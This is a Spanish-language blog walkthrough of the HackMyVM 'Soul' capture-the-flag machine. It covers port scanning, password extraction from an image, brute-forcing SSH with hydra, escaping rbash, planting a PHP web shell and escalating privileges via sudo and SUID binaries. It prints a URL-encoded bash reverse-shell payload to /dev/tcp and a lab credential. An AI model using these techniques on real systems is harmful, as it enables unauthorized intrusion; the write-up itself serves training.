HackMyVM Soul — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.21.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que tenemos 2 puertos.

Realizamos un escaneo más profundo de los puertos ya encontrado, pero no vemos más información.

Abrimos el navegador e ingresamos la dirección IP y solo podemos observar una imagen.

Probamos extrayendo si tiene alguna información, nos pide una clave, pero no poseemos, igual enviamos y por suerte nuestra no tiene protección.

Abrimos el archivo extraído y podemos ver un password.

Usando hydra podemos ver que el usuario es daniel.

daniel:lionsarebigcats

Ingresamos las credenciales y ya estamos dentro.

Tratamos de cambiar de carpeta, pero vemos que tenemos restricciones en la rbash.

Probamos algunas cosas para descartar las restricciones y podemos ver lo siguiente.

Pero si solo llamamos a la bash podemos ver que escapamos de las restricciones.

Listando los usuarios vemos que tenemos 2 más y solo daniel tenía la restricción.

Revisando los permisos SUID podemos ver que tenemos agetty.

Buscando en GTFOBins vemos como poder usar este permiso SUID.

Ejecutamos el binario, pero vemos que nos indica que no tenemos permisos.

Ya que no tenemos manera de escalar como este usuario debemos ver otra manera. Probaremos creando un archivo que nos genere una web shell. Para ello iremos a la carpeta donde se encuentran los archivos web.

Creamos un archivo con una webshell muy sencilla.

Tratamos de establecer conexión, pero no lo interpreta.

Revisando las configuraciones del servidor podemos ver que el servidor interpreta archivos .php, pero solo si ingresamos empleando el nombre de dominio lonelysoul.hmv.

Abrimos nuestro archivo hosts y agregamos el dominio.

Luego de ello si vamos al navegador y agregamos la ubicación del archivo podemos ver que sí nos interpreta el archivo.

Para establecer conexión usamos una revshell para establecer conexión.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.61%2F1234%200%3E%261%22

iniciamos nuestro listener.

Enviamos la revshell y si se queda cargando la página es una buena señal.

Regresando a nuestro listener vemos que establecimos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l y vemos que podemos ejecutar whoami como el usuario gabriel, pero veamos que este se llama desde tmp.

En la carpeta tmp tratamos de crear un archivo, pero no nos deja, por ello empleamos echo para crear el archivo, luego de ello agregamos el bash para establecer conexión.

Ejecutamos el binario y estamos como el usuario gabriel.

Realizamos un sudo -l y podemos ver que tenemos el binario hping3 para acceder como peter.

Buscamos en la página de GTFOBins y podemos ver que tenemos la manera de como escalar privilegios.

Ejecutamos el binario como nos indica y podemos ver que accedimos como peter.

Realizamos un sudo -l y vemos que necesitamos unas credenciales. Volvemos a ver permisos root y tenemos agetty para probar.

Debemos tener en cuenta como explotarlo.

Volvemos a probar a ejecutar el binario y esta vez si tenemos acceso. De esta manera culminamos esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy